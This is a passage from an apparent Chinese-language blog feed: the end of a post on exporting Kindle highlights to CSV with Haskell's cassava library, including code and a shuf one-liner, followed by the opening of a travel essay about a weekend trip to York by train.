&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    to x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span&gt;title x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;author x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;content x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,,&lt;&#x2F;span&gt;&lt;span&gt;loc x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;utcToText &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; date x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    eqOn f &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;) `&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;on&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;`&lt;&#x2F;span&gt;&lt;span&gt; f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;输出成CSV&quot;&gt;输出成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;&#x2F;h2&gt;
&lt;p&gt;如果是简单的数字的话，输出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时只需要加逗号即可。但如果标注&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;笔记里有半角逗号和傻瓜双引号，就需要对它们特殊处理（quote&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。我是懒得手动处理了，所以直接用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cassava&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库把元组转成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;好了。&lt;&#x2F;p&gt;
&lt;p&gt;使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cassava&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;生成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV，需要实现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;ToNamedRecord&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接口，然后调用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;encodeByName&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;haskell&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;instance&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ToNamedRecord ReadwiseRow&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; where&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  toNamedRecord &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; author&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    namedRecord &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Author&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; author&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Location&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; loc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .=&lt;&#x2F;span&gt;&lt;span&gt; date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;toCSV &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; encodeByName &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;header &lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Title&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Author&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Highlight&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Note&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Location&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;Date&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;])&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; .&lt;&#x2F;span&gt;&lt;span&gt; toRows&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里标题的重复是必须的，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cassava&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;可以按任意顺序输出每一列。如果不在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;encodeByName&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里重新提供标题列表，就要在实现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;DefaultOrdered&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接口时重新提供标题列表。规避重复的办法是使用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;GHC.Generics&lt;&#x2F;code&gt;，不过和我的需求有冲突——我需要大写标题，而&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Haskell&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中只有类型名可以大写，record&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里每一项必须用小写。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;完整代码&quot;&gt;完整代码&lt;&#x2F;h2&gt;
&lt;p&gt;还有一些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;main&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数、测试代码之类的因为哪个程序都有，所以就不细说了。完整代码我放在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;sinofp&#x2F;my-clippings-csv&quot;&gt;GitHub&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上了。欢迎各位尝试。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Readwise不好用&quot;&gt;Readwise&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不好用&lt;&#x2F;h2&gt;
&lt;p&gt;最后我想说的是，Readwise&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;真不好用，尤其是它的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;导入页面：你可以上传多个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV（我喜欢一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSV&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;放一本书的标注&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，而且从进度条来看那些文件也确实上传了，但最终只有其中的一个文件会被导入。&lt;&#x2F;p&gt;
&lt;p&gt;好呀，那我们一个文件一个文件上传好了——当你上传第二个文件后，有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;90%&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;几率会跳到第一个文件的成功页面。此时你要再退回去，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Ctrl-F5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;彻底刷新页面，再上传。&lt;&#x2F;p&gt;
&lt;p&gt;至于每天随机显示&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;条标注，确实不错，让我来告诉你一个不用每月掏&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;美元也能做到的办法：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;shuf&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;lt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;.csv&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我本来是去尝试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Readwise
Reader&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的，结果发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Reader&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;目前处于基本不可用的状态，所以又退回去尝试他们家的老本行——毕竟我确实烦恼过&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;tracking-and-note-taking&#x2F;#%E6%91%98%E6%8A%84%E6%88%96%E5%AF%BC%E5%85%A5%E6%A0%87%E6%B3%A8%E7%9A%84%E9%9A%BE%E9%A2%98&quot;&gt;摘抄或导入标注的难题&lt;&#x2F;a&gt;。结果发现老本行的使用体验也是稀碎。好了，不折腾了。我要回去读书了——直到我们再次相见。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;my-clippings-csv
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;my-clippings-csv&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>约克周末游</title>
    <published>2023-03-07T20:53:01+00:00</published>
    <updated>2023-05-25T22:26:49+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/york-weekend/" type="text/html" />
    <id>https://emptystack.top/york-weekend/</id>
    <content type="html">
      &lt;p&gt;我想出去玩但不知道去哪，正好有个点头之交想去约克玩但又不想一个人去。我和她一拍即合，决定在周末到约克玩上两天。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#去程&quot;&gt;去程&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#约克全景&quot;&gt;约克全景&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#York_Minster&quot;&gt;York Minster&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#教堂外&quot;&gt;教堂外&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#教堂一层&quot;&gt;教堂一层&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#教堂地下&quot;&gt;教堂地下&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#教堂的塔&quot;&gt;教堂的塔&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Shambles&quot;&gt;Shambles&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Shambles_Market&quot;&gt;Shambles Market&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#The_York_Ghost_Merchants&quot;&gt;The York Ghost Merchants&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#The_Roman_Bath&quot;&gt;The Roman Bath&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#City_wall&quot;&gt;City wall&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#第一天结束&quot;&gt;第一天结束&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#去吃早饭&quot;&gt;去吃早饭&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Museum_Gardens&quot;&gt;Museum Gardens&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Partisan&quot;&gt;Partisan&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Micklegate_Bar&quot;&gt;Micklegate Bar&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Clifford’s_Tower&quot;&gt;Clifford’s Tower&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#York_Art_Gallery&quot;&gt;York Art Gallery&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#Yorkshire_Museum&quot;&gt;Yorkshire Museum&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#National_Railway_Museum&quot;&gt;National Railway Museum&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#毛文超福音_10:25–28&quot;&gt;毛文超福音 10:25–28&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#返程&quot;&gt;返程&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;york-weekend&#x2F;#后记&quot;&gt;后记&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;去程&quot;&gt;去程&lt;&#x2F;h2&gt;
&lt;p&gt;我没坐过&lt;ruby&gt;苏格兰铁路&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;ScotRail&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;之外的火车。这次要南下英格兰，终于尝试了贯穿东海岸的&lt;ruby&gt;伦敦东北铁路&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;LNER&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;。之所以对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LNER&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有所期待，是因为我那朋友坐其他火车会晕车，但坐&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LNER&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不会——难道说他们家的火车不晃？不过实际体验可以说是大跌眼镜：整趟车没有一秒不在晃。拜托，我坐的可是号称最新型的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Azuma&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;诶。也许这就是老牌资本主义国家的优越性吧：火车行驶时不止能向前运动。&lt;&#x2F;p&gt;
&lt;p&gt;也许我应该描写一下窗外的景色，就像旅行作家经常做的一样。总之，我们在七分钟内把爱丁堡里我熟悉的地方抛在脑后。接下来是草原：大面积的绿色、小面积的民宅、星星点点的绵羊以及分割画布的低矮围墙。我不喜欢这一段，因为无聊。但除此之外没得可看：要我盯着别人电脑里的折线图么？&lt;&#x2F;p&gt;
&lt;p&gt;不久，远方突然耸起一座小山。我掐指一算：这个点、这个方向，那座山应当是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;the
Law。打开定位，那边确实是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;North
Berwick。认出一座山我还是挺兴奋的，这说明我对附近地理有一定的了解。&lt;&#x2F;p&gt;
&lt;p&gt;再往后就越过我的月亮山了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-1&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-1-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-1-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[1]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-1-content&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;standardebooks.org&#x2F;ebooks&#x2F;kenneth-grahame&#x2F;the-wind-in-the-willows&quot;&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;his
simple horizon hitherto, his Mountains of the Moon, his limit behind
which lay nothing he had cared to see or to
know.”&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;列车终于行驶到了海边。旅伴说她之前在这里看到了海上日出，不过春天正在到来，所以今天的太阳早已在发车前升起来了。真希望快点到脱掉羽绒服的温度，我不喜欢穿衣服。海比草原更加广阔，但我不觉得海洋无聊。我除了偏爱以外想不出别的理由。&lt;&#x2F;p&gt;
&lt;p&gt;开始写这段时我在听《She Bangs the
Drums&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;，现在到了《Bye Bye
Badman&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。因为最近流量枯竭的缘故，我提前用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wi-Fi&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;下好了常听的专辑。结果一觉醒来发现到了扣款的日子，流量已经重置了。窗外连着云的海洋早已是过去式，现在又回到无聊的草原和偶尔的建筑。临近火车站时建筑和车辆以及道路会突然密集起来，单调程度也指数增加。近处的树在飞速向后跑，远处的树慢慢向前走一段，又不知不觉地消失在窗外。景色仿佛被看不见的漩涡纠缠着顺时针旋转，我也只感到自己在上下左右颠簸，唯独没有向前的感觉。抓一百个旅行作家也没法对这令人窒息的没劲景色描写出一百字，因此我准备眯一会了。现在到了《Made
of Stone&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;快到纽卡斯尔站时我倒是兴奋了一下，因为看到了神似悉尼歌剧院（Sage
Gateshead）和悉尼海港大桥（Tyne
